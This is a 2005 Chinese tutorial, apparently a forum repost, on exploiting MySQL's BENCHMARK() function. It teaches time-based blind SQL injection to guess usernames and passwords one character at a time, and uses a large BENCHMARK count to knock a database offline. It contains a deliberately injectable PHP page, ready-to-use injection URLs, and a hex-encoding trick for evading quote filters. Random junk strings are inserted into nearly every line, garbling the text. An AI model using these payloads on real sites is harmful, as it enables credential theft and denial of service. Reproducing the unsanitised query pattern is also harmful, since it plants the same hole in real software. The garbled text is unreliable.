MYSQL中BENCHMARK函数的利用
, I# L) E8 f& g( n# D* x本文作者:SuperHei
' T6 G* n1 j; W文章性质:原创4 g0 J; ?! } ?; n& b
发布日期:2005-01-02
8 R$ Q2 W1 m5 c1 Q1 v: A; L+ ?% ]完成日期:2004-07-09 ) z/ r3 s4 a$ A4 }* U4 R7 I
第一部2 P) f6 x; `% h( R. a
, {+ F9 Y. A& C" ]
利用时间推延进行注射---BENCHMARK函数在注射中的利用
& g6 o/ G% Y2 h9 A+ |. |* n' _; `& }! ?' f2 |2 }8 C
一.前言/思路) L: Y4 ?6 |: A) W, r+ G4 |) J7 k0 d
& i5 l0 K- V( Y. k N) ^ 如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
4 {/ z1 q2 h" }6 ?: z( d$ R1 k% g8 Z# ?' p* u' \
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。6 W# ?) g+ F1 [: ]9 U
7 s% @. e' x$ u3 ] X
二.关于BENCHMARK函数4 z5 {1 N/ T' E2 M$ N3 z
, O5 X! T0 V$ p) e; ?! x. D
在MySQL参考手册里可以看到如下描叙: 7 L' k; f, ^' S3 M% B- P( ?3 z/ j* ?
; ^) V/ T+ I7 S; T
8 S4 ?8 ?& I5 v--------------------------------------------------------------------------------
/ v! u7 E4 H+ M1 s( x$ `/ h8 T6 j- \+ `2 |7 v4 _! E! B
BENCHMARK(count,expr) " u0 k1 Z! l1 e- P) i1 D
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
! b/ i5 C" V0 d# a7 G$ D3 _mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
* E1 Q( F' ~2 S" ]6 U. m+----------------------------------------------+
9 d% s$ }. t, D| BENCHMARK(1000000,encode("hello","goodbye")) | ( ^4 h* |- I" X R2 k7 x! }9 V2 Q
+----------------------------------------------+
; P$ @ R7 q a/ y| 0 | ( q9 x4 {: `3 B) b' Y' t
+----------------------------------------------+ ! h* f% Z4 ~; C! V0 c
1 row in set (4.74 sec) 8 Z0 F4 j. v6 S# O' C
5 F9 H% j6 v& N7 k7 R报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。2 C/ j [* S, b! v) D6 k2 e* _
7 w& U: I5 j2 V1 p% \- ~
( h* r( X2 U/ Q1 U--------------------------------------------------------------------------------
' [+ b# t0 _; s
! e3 o" u: J4 U* @7 f 只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: # k! H. Q) Q8 U V! s9 q
3 Y/ Y5 A }0 e5 umysql> select md5( 'test' );
# K! f- A0 V( w' U" ^0 Y: ~8 C5 N- c+----------------------------------+ 8 e5 h/ d6 g! b6 J+ s
| md5( 'test' ) |
/ |$ Z" n/ f+ j/ {9 M+----------------------------------+ " q' H7 l2 O5 A8 a$ Y0 z! n
| 098f6bcd4621d373cade4e832627b4f6 | 9 b) d" j: h7 ?7 R
+----------------------------------+ ' z/ k0 k9 m) v5 ]4 Q
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
' U* x" j8 D, V* I) j2 V
5 r. J! S1 m* p0 {2 l& _9 T Bmysql> select benchmark( 500000, md5( 'test' ) ); " a( v1 U& y+ C
+------------------------------------+
7 m8 L3 c9 f2 R) R6 R# \ c| benchmark( 500000, md5( 'test' ) ) |
. i, q, r" P1 v! T+------------------------------------+ 4 a$ d8 A6 g; Y, x
| 0 |
2 ^% [4 Q$ i5 G0 W% d" u+------------------------------------+
* T, L6 N( t1 ^' d! k7 F5 I- o- O6 G1 row in set (6.55 sec) 〈------------执行时间为6.55 sec' Z/ k. |5 l8 B5 J- J8 Z
% f( F1 n% v; ~: b
; d) @7 ]8 w8 K$ S* | 由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
7 r2 Y7 q4 d8 W4 M/ W
/ b3 j) Q" F# T三.具体例子
- a) N/ ]' P9 h
; M7 U. N% E; k" S 首先我们看个简单的php代码:) D9 A* t, y; Q
) N$ R; A$ g7 X3 N$ O" Q9 O! ^< ?php
# S3 R2 a3 J, V: ?$servername = "localhost"; . O) o+ V2 n) m0 @# n
$dbusername = "root"; 7 h8 g# q, P4 i' W( Q
$dbpassword = ""; 3 w! h0 U* Z" E6 b& F! l: y: q8 R
$dbname = "injection";
( P1 ~1 p# P- L8 l
0 S1 f6 P4 H: c1 Q+ \& ]mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
4 V* j4 y- ?5 z, |+ V& ^2 N1 y s- h8 o5 l
$sql = "SELECT * FROM article WHERE articleid=$id";
( e1 j7 c/ i0 ?$result = mysql_db_query($dbname,$sql); " ?9 w2 e' r4 M! w d7 s
$row = mysql_fetch_array($result);
' z& d) l, x0 a, H+ D" z
- t/ j: q) V: P8 ?if (!$row) ! N' Q4 P# l9 E& V
{ ( \: b, y1 ]$ P4 m5 J' C
exit; ' }7 l2 \# `% d7 ?" S" f% H# |
}
( x B; C: ^ `3 }?>
n$ |( n5 F: h4 G7 C; U7 m . Z7 O2 k8 `! t
5 p6 J" v5 N; k% z6 I8 Q9 }2 K1 m 数据库injection结构和内容如下:
/ I H4 _" f/ s6 s% h0 g- ]0 B0 g7 p. b# K% X: V
# 数据库 : `injection`
8 _5 x& Z+ Q( {0 t* o, {6 y#
: q- @. K( X! N- V; q, V+ I& z& h
# --------------------------------------------------------
/ R; J9 l, B/ g1 l9 v# F W+ P2 ^1 J2 Z8 {
# % |; X6 Z( { ?6 y" g
# 表的结构 `article`
7 y. v+ Z6 b8 g3 I% r4 z* j# ; o. T8 T8 V7 T6 u1 e5 o
: Q) V4 c& ]1 \9 d6 i- [
CREATE TABLE `article` ( % G' W; J- y( m, p' y1 c
`articleid` int(11) NOT NULL auto_increment,
" R/ _; v: C2 ~`title` varchar(100) NOT NULL default '', 8 q4 h9 z4 q) C8 y# Y% Y$ C* T
`content` text NOT NULL,
" o) F" x+ ]4 ~* @2 MPRIMARY KEY (`articleid`)
* g* d! s6 f$ M: F" ^) TYPE=MyISAM AUTO_INCREMENT=3 ;
5 p& L* S8 r4 X, p1 z& Y; W V8 q3 w/ \2 I! I; ?, C! A3 e* A
#
: ?$ d! w/ |8 x6 R5 ]1 e# 导出表中的数据 `article` - S- Z& N/ K' R; j& V4 ?% {) _3 w
#
1 s# D8 N! Y1 {. p; Q
* R3 b! @* w- C. [! @6 PINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
% _1 i5 c+ @9 i% x2 pINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); l7 S3 r* c, v! P
! F$ h( m) q: N% [( l3 i3 K
# -------------------------------------------------------- o! E( ^: O& Y0 u$ P$ T
; F" G6 J% ~) ?. E#
1 C7 N; O3 w& S8 x( d/ L* o8 O7 x# 表的结构 `user` 8 L& e% J2 b5 ` K; l( i7 J% R
#
" Z: [( r+ ~7 f( U- F4 Z0 M0 f" k5 ?$ _
CREATE TABLE `user` (
: {* I) K. k3 Y- F`userid` int(11) NOT NULL auto_increment, : D* J; ^7 W* c% [$ h6 J1 A
`username` varchar(20) NOT NULL default '',
! z' u2 g3 B' g% I`password` varchar(20) NOT NULL default '', 6 Q V7 Z1 K) t4 Y* _1 Z$ T( W
PRIMARY KEY (`userid`)
1 P+ b; ^: W3 q4 @) i0 U' ^) TYPE=MyISAM AUTO_INCREMENT=3 ;
4 C4 I! p0 H' F: H# P$ E& C( L6 ~. I& X# k) r# D- V
# " T0 [+ K* A" |0 b4 T1 X! d
# 导出表中的数据 `user`
' i8 s2 b6 p9 }#
# P9 N, ?' K, z; m6 V; L: K# w* `+ @ h; k" g) c R
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
v# Y- u1 T: rINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
* e+ u+ `2 K2 Q7 D8 }( v. |2 | ' _: Q5 q. K% y6 X8 x
: R; B3 y/ {; @" R7 s
代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:, K) J2 ] X. J5 |
, g# w. X4 a) j1 C! G# w% m8 Tid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*/ K4 M' L) s' A* n5 R# f4 B
1 t3 o- N% m4 v2 s0 J* t7 C7 C7 \
8 ]6 o, p4 J. r. v8 R9 ]8 G 上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
; U- Y% m9 b" Z u0 Q# ^
- {- f# j7 G# q0 B" Ohttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*" S* ~0 I5 s- L% ~( ^% u
5 o* x; h* I, B2 n- n, A+ G. w/ y+ q: \
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 : j& O! A( n" ^1 d4 q
+ A/ [' p0 U b( ~" L! d7 [
注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 , Z9 V5 |1 u+ j! o; Z* w, O+ ^
3 [5 P4 H$ U( k$ t: `
第二部8 j6 T1 U) i1 |! _
& K# T J3 X5 f6 Q利用BENCHMARK函数进行ddos攻击
: P0 S$ @0 Y8 f+ @. q7 ~2 D: h
, j7 V+ {( _4 f' ] 其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
+ r/ Y6 G& i1 Q0 p& j% H3 ^
7 m# x0 t) C% r# `9 _http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
& S3 N. H; H. `& K
$ q* P$ t: C( k8 s# l; [% w2 P. u2 c
8 Z! C) Q- F9 M L小结
* L+ q" n4 y, O1 M8 N& n6 W( q! s: Y6 t: W
本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。1 {5 P# f7 q# r. e) F, P! h' a
% i1 t8 S2 F8 y! }1 h* c* H: N2 p3 H
2 H- s' i- o6 _0 t |